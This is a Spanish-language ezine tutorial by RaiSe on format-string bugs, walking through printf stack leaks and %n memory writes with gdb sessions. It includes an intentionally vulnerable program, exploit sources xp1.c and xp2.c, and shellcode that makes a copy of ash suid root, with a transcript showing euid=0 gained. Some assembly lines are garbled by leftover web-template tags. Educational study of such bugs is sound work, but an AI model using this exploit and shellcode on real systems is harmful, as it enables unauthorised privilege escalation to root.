Excelente texto con explicaciones y ejemplos de lo que son los format bugs y como explotarlos
Texto Completo:
=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Bugs de Formato (1/2) ]-=================================================
=-[ por RaiSe ]-=============================================================
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- Introduccion a los Bugs de Formato
3.- Xplotando los Bugs de Formato
4.- Codigo del Xploit final
5.- Despedida
----------------
// 1.- Prologo
----------------
En fin, ya estamos otra vez aqui currandonos un articulillo para el NS Ezine
:). Este es mi sexto articulo (tecnico, x asi decirlo), y la verdad es que a
uno se le acaban las ideas.. Tanto es asi que he decidido retomar un tema que
tenia pensado hace bastante tiempo: los Bugs de Formato.
La idea es que el articulo se divida en dos partes, la primera (esta) sera
una especie de introduccion, y en la segunda se intentara tratar aspectos un
poco mas avanzados.
Por supuesto yo no soy ningun guru, asi que es posible que en este texto haya
algun que otro fallo tecnico (espero que no). Si hay algo que no es correcto
no dudeis en comentarlo por mail;
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.
-------------------------------------------
// 2.- Introduccion a los bugs de formato
-------------------------------------------
Bueno bueno.. por donde empiezo? Los bugs de formato se producen (o son
xplotables) cuando un programa realiza una llamada a una funcion *printf sin
especificar su formato. Ejemplo:
char manolo[] = "hola que pasa que tal";
printf(manolo); --> aqui deberia ser printf("%s", manolo);
Resumiendo, todo este embrollo viene por culpa de 'vagos' programadores, que
no tienen la suficiente responsabilidad como para especificar el formato. Por
supuesto me estoy refiriendo a bugs encontrados en aplicaciones actuales, ya
que anteriormente este problema no se conocia, con lo que esos 'otros'
programadores quedan absueltos de responsibilidad :).
Y ahora que ya sabemos a grandes rasgos cuando se producen, veamos mas
detenidamente que pasa cuando ejecutamos el siguiente codigo:
[raise@apolo formats]$ cat > codigo1.c
<++> formats/codigo1.c $a20ab987f4865715cf4ccdecb9d35572
#include
main()
{
char pepe[] = "hola hola";
printf("%s", pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo1 codigo1.c
[raise@apolo formats]$ gdb -q codigo1
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : sub {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x18,%esp
0x80483ea : lea 0xfffffff4(%ebp),%edx
0x80483ed : mov {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048478,%eax
0x80483f2 : mov (%eax),%edx
0x80483f4 : mov %edx,0xfffffff4(%ebp)
0x80483f7 : mov 0x4(%eax),%edx
0x80483fa : mov %edx,0xfffffff8(%ebp)
0x80483fd : mov 0x8(%eax),%ax
0x8048401 : mov %ax,0xfffffffc(%ebp)
0x8048405 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffff8,%esp
0x8048408 : lea 0xfffffff4(%ebp),%eax
0x804840b : push %eax
0x804840c : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048482
0x8048411 : call 0x804830c
0x8048416 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp
0x8048419 : mov %ebp,%esp
0x804841b : pop %ebp
0x804841c : ret
End of assembler dump.
(gdb) break *0x8048411
(gdb) r
Breakpoint 1, 0x8048411 in main () at codigo1.c:7
7 printf("%s", pepe);
(gdb) x/2xw $esp
0xbffff854: 0x08048482 0xbffff870
Despues de todo este rollo pasemos a explicar.. Lo que hemos hecho ha sido
crear un ultrasimple programa que printea por pantalla un string. Lo
ejecutamos con el gdb y hacemos un break justo antes de la llamada a printf
(con formato - %s). Observamos la pila y vemos que coloca dos direcciones; la
primera corresponde al formato y la segunda al string.
(gdb) x/1s 0x08048482
0x8048482 <_IO_stdin_used+14>: "%s"
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Usease, se supone que siempre que haya un especificador de formato habra
justo despues en la pila (en el momento de llamar a printf) la direccion de
lo que se quiere mostrar (string, entero, o lo que sea). Si hubiesemos puesto
dos especificadores de formato el resultado no seria muy diferente.
Supongamos que hicieramos: printf("%s %s", pepe, pepe);
(gdb) x/3xw $esp
0xbffff854: 0x08048492 0xbffff870 0xbffff870
(gdb) x/1s 0x08048492
0x8048492 <_IO_stdin_used+14>: "%s %s"
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Como vemos, por 'n' especificadores de formato, 'n' direcciones de memoria en
la pila, todo correcto. Ahora veamos que pasa con el siguiente programa sin
formato.
[raise@apolo formats]$ cat > codigo2.c
<++> formats/codigo2.c {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}c635047cc55fcb84a74fbfb21346960
#include
main()
{
char pepe[] = "hola hola";
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo2 codigo2.c
[raise@apolo formats]$ gdb -q codigo2
[hacemos el break justo en el call printf()]
(gdb) r
Breakpoint 1, 0x804840c in main () at codigo2.c:7
7 printf(pepe);
(gdb) x/2xw $esp
0xbffff854: 0xbffff870 0x00000000
(gdb) x/1s 0xbffff870
0xbffff870: "hola hola"
Ahora solo se usa una direccion de memoria, que es la de la propia variable
pepe. Por lo tanto, si pepe contuviera un modificador de formato, por ejemplo
"%d", se intentaria printear el valor en decimal de la direccion de memoria
contigua en la pila (0x00000000). Probemos a cambiar el valor de pepe[] por
"hola hola %d" (modificando el codigo y recompilando).
(gdb) x/2xw $esp
0xbffff854: 0xbffff86c 0x00000000
(gdb) x/1s 0xbffff86c
0xbffff86c: "hola hola %d"
(gdb) c
Continuing.
hola hola 0
Program exited with code 013.
Efectivamente ha cogido el siguiente valor en la pila y lo ha mostrado por
pantalla (0). Ahora vosotros estareis pensando, todo esto esta muy bien, pero
como podemos hacer para sacarle provecho?.. Veamoslo en el siguiente apartado
:).
--------------------------------------
// 3.- Xplotando los bugs de formato
--------------------------------------
Ahora que ya sabemos como hace el sistema para colocar los especificadores de
formato y variables en la pila para llamar a printf, veamos como xplotarlo.
Por cierto, esta explicacion se basa en printf, pero sirve para cualquier
llamada a *printf (varia un poco la pila obviamente, pero en el fondo es lo
mismo).
Para xplotar un bug de este tipo hay varias formas, pero yo solo explicare
una, ya que este metodo puede decirse que es 'universal' y funciona en casi
todos los casos. Para ello utilizaremos el especificador de formato '%n'.
Como sabreis este formato es un tanto especial, ya que no se usa para
printear nada por pantalla, pero si que lleva un argumento asociado. Dicho
argumento siempre es la direccion de un entero en memoria. Explicado
brevemente lo que hace printf es guardar en el entero el numero de caracteres
que se han mostrado por pantalla. Pongamos un ejemplo:
[raise@apolo formats]$ cat > codigo3.c
<++> formats/codigo3.c de446343b3eeae6deaf084207bfa8e4
#include
main()
{
int a, b;
printf("hola%npepe%n\n", &a, &b);
printf("A: %d, B: %d", a, b);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo3 codigo3.c
Este programa mostrara por pantalla lo siguiente:
holapepe
A: 4, B: 8
Ya que cuando el primer %n se habian mostrado 4 caracteres (hola), y en el
segundo 8 (holapepe). Es decir, con el especificador de formato '%n' podremos
sobreescribir partes de la memoria (teoricamente variables int's que
hayamos declarado nosotros). Volvamos con el gdb y veamos lo q pasa que con
el programa anterior.
[raise@apolo formats]$ gdb -q codigo3
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : sub {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x18,%esp
0x80483ea : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffffc,%esp
0x80483ed : lea 0xfffffff8(%ebp),%eax
0x80483f0 : push %eax
0x80483f1 : lea 0xfffffffc(%ebp),%eax
0x80483f4 : push %eax
0x80483f5 : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048478
0x80483fa : call 0x804830c
0x80483ff : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp
0x8048402 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffffc,%esp
0x8048405 : mov 0xfffffff8(%ebp),%eax
0x8048408 : push %eax
0x8048409 : mov 0xfffffffc(%ebp),%eax
0x804840c : push %eax
0x804840d : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048486
0x8048412 : call 0x804830c
0x8048417 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp
0x804841a : mov %ebp,%esp
0x804841c : pop %ebp
0x804841d : ret
End of assembler dump.
(gdb) break *0x80483fa // hacemos el break en el primer printf
(gdb) r
Breakpoint 1, 0x80483fa in main () at codigo3.c:7
7 printf("hola%npepe%n\n", &a, &b);
(gdb) x/3xw $esp
0xbffff854: 0x08048478 0xbffff878 0xbffff874
(gdb) x/1s 0x08048478
0x8048478 <_IO_stdin_used+4>: "hola%npepe%n\n"
(gdb) x/2xw 0xbffff874
0xbffff874: 0x40009f50 0xbffff898
Una breve explicacion, la primera direccion de la pila como siempre
corresponde a la cadena de formato, la segunda y la tercera son
respectivamente las variables a y b. Ahora mismo contienen un valor
semialetario (al no haber sido inicializadas a cero). El x/2xw lo hice para
poder ver las dos a la vez en la misma instruccion, ya que estan seguidas en
memoria. Ahora hagamos un break despues del primer printf y continuemos.
(gdb) break *0x80483ff
(gdb) c
Breakpoint 2, 0x80483ff in main () at codigo3.c:7
7 printf("hola%npepe%n\n", &a, &b);
(gdb) x/2xw 0xbffff874
0xbffff874: 0x00000008 0x00000004
Como vemos se han sobreescrito las variables a(4) y b(8), aparecen al reves
por lo que he explicado antes (para no tener que hacer dos 'x/1xw'). Pues
bien, observemos ahora que ocurre si en un printf sin formato incluimos el
especificador '%n'.
[raise@apolo formats]$ cat > codigo4.c
<++> formats/codigo4.c $fd032eadce0a74f3450fb2aa7ca5902b
#include
main()
{
char pepe = "hola%n";
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo4 codigo4.c
[raise@apolo formats]$ gdb -q codigo4
[hacemos break justo antes del printf]
(gdb) c
Breakpoint 1, 0x804840c in main () at codigo4.c:7
7 printf(pepe);
(gdb) x/2xw $esp
0xbffff854: 0xbffff874 0x00000000
(gdb) x/1s 0xbffff874
0xbffff874: "hola%n"
Bueno, analicemos.. Teoricamente el programa intentara escribir un 4 en la
posicion de memoria siguiente, es decir 0x00000000, que al estar fuera del
segmento actual producira un segv fault. Veamos si es correcto..
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4005fdd7 in vfprintf () from /lib/libc.so.6
(gdb) x/1i 0x4005fdd7
0x4005fdd7 : mov %ecx,(%eax)
(gdb) info reg eax
eax 0x0 0
Efectivamente intenta copiar %ecx al contenido de %eax, que al ser null pues
produce el fallo de segmento. Ahora bien, estaria genial que pudieramos
elegir nosotros la direccion donde se va a escribir el byte, y si encima
podemos ir calculando el contenido que se escribe no habria ningun problema
para obtener el control del programa. La duda es, como hacemos para elegir la
direccion destino y el contenido? Muy sencillo, con un pequeño programa en C
(o en cualquier lenguaje por supuesto).
Todo esto claro esta no puede usarse sino podemos modificar el contenido de
la variable pepe. Veamos este otro codigo.
[raise@apolo formats]$ cat > codigo5.c
<++> formats/codigo5.c a609c5ec743d065656d6c4e1ad36ca
#include
#include
#include
main()
{
char pepe[1024];
bzero(pepe, 1024);
printf("Programa vulnerable by RaiSe (NS #6 / 0x04)\n\n");
printf("Introduzca cadena: ");
fflush(stdout);
read(0, pepe, 1024);
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo5 codigo5.c
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: manolo
manolo
[raise@apolo formats]$
Como vemos funciona perfectamente, ahora veamos que ocurre cuando hacemos lo
siguiente.
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: %x %x
bffff49c 400
[raise@apolo formats]$
Analicemos.. por cada %x el programa coge los valores que hay en la pila
detras de la cadena de formato y los printea en hexadecimal. Por lo tanto
teoricamente si lo volvemos a ejecutar y ponemos "pepe%n" se escribira un 0x4
en la direccion de memoria 0xbffff49c, si? Probemos a poner "pepe%n%n", se
escribira dos 0x4, uno en 0xbffff49c y otro en 0x400, con lo que se producira
un segv fault y hara 'core'.
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: pepe%n%n
Violacion de segmento (core dumped)
[raise@apolo formats]$ gdb -q --core=core
Core was generated by `./codigo5'.
Program terminated with signal 11, Violacion de segmento.
#0 0x4005fdd7 in ?? ()
(gdb) x/1xw 0xbffff49c
0xbffff49c: 0x00000004
Efectiviwonder, se ha sobreescrito como pensabamos y luego ha hecho un core
al no poder acceder a la direccion 0x400. Ahora pensemos como podemos elegir
la direccion donde queremos que sobreescriba. Observemos este ejemplo:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAABBBB %x %x %x %x %x %x %x %x
AAAABBBB bffff49c 400 bffff518 0 0 41414141 42424242 20782520
[raise@apolo formats]$
Analicemos. Hemos puesto AAAABBBB y despues 8 %x, con lo que el programa
printeara 8 direcciones de memoria justo despues del string de formato (como
en este caso no hay sera lo que haya despues de la propia direccion del
buffer pepe). El primer valor (bffff49c), es la direccion del buffer que uso
bzero para rellenar a ceros, y 0x400 el numero de bytes a rellenar (1024 =
0x400). Lo demas hasta llegar a 41414141 son valores arbitrarios que habia
antes de la ejecucion del programa o restos de las llamadas a anteriores
funciones (anteriores printf's, read, etc..).
Cuando empieza a mostrar 41414141 es porque ha llegado a la propia variable
pepe. Es decir, pepe ocupa una direccion en la pila como variable local que
es, y su contenido sera para ser exactos lo que hayamos puesto en 'Introduzca
cadena:', ya que el read lo copia directamente al buffer pepe. Pues bien, en
el ultimo printf al empezar a hacer %x, va cogiendo valores que encuentra en
la pila (los que hay detras de la direccion de pepe, recordemos que sino se
especifica formato printf() hace un pushl de la direccion del buffer a
imprimir). Una vez que llega a pepe printea su valor en hexadecimal, que en
este caso es 41414141 y 42424242 (AAAABBBB). El ultimo valor (20782520)
corresponde al string ' %x '.
Todo esto tiene un proposito, y es que si en vez de AAAA ponemos una
direccion de memoria, y en vez de ocho '%x' ponemos cinco '%x' y un '%n', lo
que estaremos haciendo sera sobreescribir la direccion que especificamos con
el valor 0xe. Es decir, 4 bytes de la direccion de memoria + 10 bytes de los
'%x' = 0xe = 14. Los '%x' se ponen para ir 'saltando' por la pila hasta
encontrarnos en la direccion que queremos sobreescribir. No se si me explico..
Probemos un ejemplo sencillo, sabemos que la direccion de pepe[] es
0xbffff49c, no? Intentemos esto otro:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAABBBB %n %x %x %x %x %x %x %x %x
AAAABBBB 400 bffff518 0 0 9 42424242 206e2520 25207825
[raise@apolo formats]$ ^
Hemos usado la direccion que ya teniamos en la pila para sobreescribir la
propia variable pepe[] con 0x00000009 (AAAABBBB + espacio).
Ahora pensemos un metodo para poder sobreescribir lo que queramos en vez de
0x9. Observemos este codigo:
[raise@apolo formats]$ cat > xp1.c
<++> formats/xp1.c eab1fea37b934cc0b10274567a3fe5
#include
#include
#include
int main()
{
char b1[255];
char b2[255];
char b3[255];
char b4[255];
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(b1, '\x90', 0x99 - 0x10 - 0x28);
memset(b2, '\x90', 0xf0 - 0x99);
memset(b3, '\x90', 0xff - 0xf0);
memset(b4, '\x90', 0x1bf - 0xff);
/* queremos sobreescribir pepe[16] en codigo5 con el valor
0xbffff099 */
sleep(1);
printf( "\xac\xf4\xff\xbf"
"\xad\xf4\xff\xbf"
"\xae\xf4\xff\xbf"
"\xaf\xf4\xff\xbf"
"%%8x%%8x%%8x%%8x%%8x"
"%s%%n"
"%s%%n"
"%s%%n"
"%s%%n"
" %%x"
, b1, b2, b3, b4);
}
<-->
[raise@apolo formats]$
Bueno.. ahora empieza lo bueno. Puede que al principio este codigo sea un
poco dificil de entender, pero realmente parece mas complicado de lo que en
realidad es. Veamos..
Como vamos a sobreescribir 4 direcciones de memoria con un valor entre 0 y
0xff (255), declaramos 4 arrays de 255 caracteres que usaremos para ir
rellenando. Los rellenamos a ceros para no tener que preocuparnos luego por
el '{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}' del final del string. Queremos sobreescribir la direccion de memoria
pepe[16], es decir 0xbffff49c + 16 = 0xbffff4ac, con el valor 0xbffff099.
Este ultimo valor lo escogi aleatoriamente, solo es para que veamos que
realmente sobreescribe. Rellenamos los arrays de una forma un tanto
peculiar.. fijandonos en el printf de luego analicemos:
. Lo primero que contendra el buffer pepe sera las 4 direcciones a
sobreescribir, es decir, 16 = 0x10 bytes.
. En la primera (0xbffff4ac) queremos sobreescribir el valor 0x99, ya que en
procesadores x86 como sabemos se usa little endian. Entonces para escribir el
valor 0x99, antes del %n necesitamos printear ese numero de bytes. Ya hemos
printeado 0x10 de las direcciones de memoria, pero vamos a tener que printear
unos cuantos mas. Me estoy refiriendo a los cinco '%x' que tendremos que
poner para 'saltar' por la pila hasta llegar a la propia variable pepe. Si
ponemos cinco '%x' a secas no sabremos cuantos bytes estaremos printeando, ya
que puede ir desde uno a ocho, por lo tanto pondremos '%8x'. De esta forma si
el numero a printear ocupa menos de 8 caracteres en pantalla se rellenara con
espacios. Resumiendo, ya hemos printeado 0x38 bytes (16 + 5*8). Por lo tanto
necesitaremos setear el array b1 a 0x99 - 0x38, lo imprimimos por pantalla
seguido del '%n' y ya tenemos el primer valor sobreescrito.
. Acto seguido queremos sobreescribir 0xf0, por lo que necesitaremos printear
0xf0 - 0x99 que ya se han printeado. Seteamos b2 a ese valor, lo imprimimos
por pantalla seguido de '%n' y ya tenemos el segundo valor sobreescrito.
. Tercero, 0xff. Seteamos a 0xff - 0xf0, printeamos seguido de '%n' y ya esta
el tercer valor.
. Cuarto, 0xbf. Ya se han imprimido 0xff, como hacemos para conseguir 0xbf
sino podemos restar 0xbf - 0xff ?. Pues muy sencillo, necesitamos printear
0x1bf. En memoria se escribira 0x1bf, el 0x1 se guardara en 0xbffff4b0, pero
a nosotros no nos importa en absoluto, ya que no nos molestara para conseguir
nuestro objetivo. Seteamos a 0x1bf - 0xff, printeamos seguido de '%n' y ya
esta :).
Ahora probemos lo siguiente a ver si funciona..
(le he quitado algunos caracteres que no eran alfanumericos)
[raise@apolo formats]$ gcc -o xp1 xp1.c
[raise@apolo formats]$ ./xp1 | ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: xxxxxxxxxxxxxxxxbffff49c 400bffff518 0
0xxxxxxxxxxxxxxxxxxaqui van todos los nopsxxxxxxxxxxxxxxxxxxxxxxxxxxxx
bffff099
[raise@apolo formats]$
Veamos, con los cinco '%8x' salta hasta la direccion de pepe, despues con los
cuatro '%n' sobreescribe y salta a la vez, con lo que en el ultimo '%x'
printeamos el contenido de pepe[16], que como podemos vemos es lo que
habiamos querido sobreescribir :).
Ahora seamos un poco mas maquiavelicos, intentemos sobreescribir la direccion
de retorno de main con la direccion de una shellcode. Dicha scode la
meteremos despues del cuarto '%n'. Justo antes de cada '%n' pondremos
"\xeb\x02", que corresponden a la instruccion en asm 'jmp 0x2'. De esta forma
si el programa salta a un nop no petara cuando llegue al especificador de
formato, sino que lo saltara y seguira bajando hasta la scode. Por supuesto a
cada seteo de los arrays tendremos que restarle ahora tambien 0x2. La dire de
retorno la sacamos con el gdb (por ejemplo). Hay que tener en cuenta que
entre ejecutar el codigo5 bajo gdb o no, hay una pequeña diferencia en cuanto
a direcciones de memoria, por lo tanto lo mejor para sacar la dire de retorno
es hacer lo siguiente:
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: AAAA%n%n%n%n%n%n -> para asegurarnos que haga core
Violacion de segmento (core dumped)
[raise@apolo formats]$ gdb -q --core=core
Core was generated by `./codigo5'.
Program terminated with signal 11, Violacion de segmento.
#0 0x4005fdd7 in ?? ()
(gdb) bt
#0 0x4005fdd7 in ?? ()
#1 0x40067088 in ?? ()
#2 0x804851d in ?? ()
#3 0x40039cbe in ?? ()
(gdb) x/2xw $ebp
0xbffff44c: 0xbffff47c 0x40067088
(gdb) x/2xw 0xbffff47c
0xbffff47c: 0xbffff89c 0x0804851d
(gdb) x/2xw 0xbffff89c
0xbffff89c: 0xbffff8d8 0x40039cbe
^^^^^^^^^^
La direccion de retorno del main (a la que salta) es 0x40039cbe. Nosotros
dentro del core estamos dentro de dos funciones (vfprintf y printf
seguramente), por lo que siguiendo los %ebp's salvados en la pilla llegamos
al del main. Resultado, la direccion de retorno del main es 0xbffff89c + 4 =
0xbffff8a0. Y ahora que ya sabemos la direccion que debemos sobreescribir
debemos elegir 'que' escribiremos. Veamos, si la dire de pepe es 0xbffff49c
le deberemos sumar un valor X para saltarnos las cuatro direcciones y los
cinco '%8x', pongamos 64 por ejemplo, 0xbffff49c + 64 = 0xbffff4dc. Asi nos
aseguramos que salte a un 'nop'.
Ahora solo falta realizar el xploit final..
--------------------------------
// 4.- Codigo del Xploit final
--------------------------------
Antes de ponernos a 'coddear' cabe hacer un pequeño comentario sobre el shell
de comandos 'bash'. Todo empezo cuando yo ya me estaba tirando de los pelos
por un problemilla que estaba teniendo al realizar este articulo. Para ser
exactos dire que era incapaz de 'pillar' euid (uid efectivo) de root (0) al
ejecutar con una shellcode '/bin/sh'. Como ya estaba un pelin cansado decidi
probar como root a setear una shell con suid 0 y ejecutarla con un usuario
normal. Sorpresa.. era imposible coger euid 0, la propia bash seteaba
internamente el valor del euid al del uid original que habia ejecutado la
shell. Yo al principio pensaba que era un parche que habian metido desde el
kernel 2.2.18 en adelante, pero hablandolo con Sp4rK llegamos a la conclusion
de que era la shell.
El bash que esta comprobado que no rula es la version 2.04.12(1), mientras
que con otras shells como ash o bash version 2.03.0(1) rula perfectamente.
Como en el xploit no podia hacer el tipico execve de '/bin/sh' por lo que
acabo de mencionar, decidi rescatar una shellcode que tenia por ahi olvidada.
Dicha scode lo que hace es setear el binario '/tmp/.katy' con suid root, el
cual sera una copia de '/bin/ash' que habremos hecho previamente. Desconozco
si la shell ash viene en todos los linux por defecto, al menos en el mio
viene. Si tienes una version valida de bash puedes probar a ver si te
funciona..
Bueno, despues de esta pequeña aclaracion ya podemos empezar a escribir
codigo :).
[Nota: obviamente le damos suid root a codigo5 pq sino no tendria
gracia.]
[raise@apolo formats]$ cp /bin/ash /tmp/.katy
[raise@apolo formats]$ ls -l /tmp/.katy
-rwxr-xr-x 1 raise raise 65340 may 8 22:29 /tmp/.katy*
[raise@apolo formats]$ cat > xp2.c
<++> formats/xp2.c deb5856b7c166abc5825561b056d880
#include
#include
#include
#include
int main()
{
char shellcode[] = // by RaiSe
"\xeb\x21\x5f\x31\xc0\x31\xd2\x31\xc9\x88\x57\x0a\x89\xfb\xb0\xb6"
"\xcd\x80\x66\xb9\x01\x08\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\x31"
"\xdb\xcd\x80\xe8\xda\xff\xff\xff/tmp/.katy";
char b1[255];
char b2[255];
char b3[255];
char b4[255];
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(b1, '\x90', 0xdc - 0x10 - 0x28 - 0x2);
memset(b2, '\x90', 0xf4 - 0xdc - 0x2);
memset(b3, '\x90', 0xff - 0xf4 - 0x2);
memset(b4, '\x90', 0x1bf - 0xff - 0x2);
/* queremos sobreescribir 0xbffff8a0 en codigo5 con el valor
0xbffff4dc (para dejar un margen de 64 bytes respecto a la
direccion pepe[0]) */
sleep(1);
printf( "\xa0\xf8\xff\xbf"
"\xa1\xf8\xff\xbf"
"\xa2\xf8\xff\xbf"
"\xa3\xf8\xff\xbf"
"%%8x%%8x%%8x%%8x%%8x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s"
, b1, b2, b3, b4, shellcode);
fflush(stdout);
}
<-->
[raise@apolo formats]$ gcc -o xp2 xp2.c
[raise@apolo formats]$ ./xp2 | ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: xxxxxxxxxxxxxnops,etc.xxxxxxxxxxxxxxxxxxxx
[raise@apolo formats]$ ls -l /tmp/.katy
---S-----x 1 root root 65340 may 8 22:29 /tmp/.katy*
[raise@apolo formats]$ /tmp/.katy
[\u@\h \W]$ id
uid=501(raise) gid=501(raise) euid=0(root) grupos=501(raise)
Como vemos ha funcionado bastante bien. Del xploit hay poco que comentar
porque practicamente no hay nada nuevo, lo unico la shellcode y las
parejas de dos bytes "\xeb\x02" justo antes de cada '%n'. Lo demas ya lo
habiamos visto anteriormente, la unica diferencia es que ahora lo hemos
aprovechado para hacer algo un poco mas divertido :).
Por supuesto este xploit es muy poco probable que funcione en tu maquina, ya
que las direcciones de retorno/scode varian de un ordenador a otro. Si
quieres que te rule adapta el xploit a tu maquina, solo tienes que averiguar
las direcciones (con el gdb for example). Para sacar la dire de retorno por
el metodo que yo use deberas hacerlo antes de setear codigo5 con suid root,
porque sino lo mas probable es que no haga core. En una caso hipotetico de
que ya estuviera seteado se solucionaria facilmente, solo habria que copiar
el binario a tu directorio y ejecutarlo desde ahi, de esa forma si que haria
core y la direccion de retorno no variaria.
------------------
// 5.- Despedida
------------------
Como habia dicho al principio de este articulo, en NS #7 habra segunda parte,
donde se trataran algunos temas un poco mas complejos. Algunos de esos temas
seran: metodos para averiguar la direccion de retorno sin usar gdb, que pasa
cuando la direccion que quieres sobreescribir no esta alineada (pads), etc.
Mientras tanto tendreis que conformaros con este articulillo, que sin
pretender ser de los mejores, espero que sirva para aquellos que estan
empezando con este tipo de overflows.
Pues nada, ha sido un placer :). Os recuerdo que dudas, comentarios,
criticas, etc. sobre el articulo las podeis enviar a la direccion:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.
Un saludo a tod@s.
RaiSe
|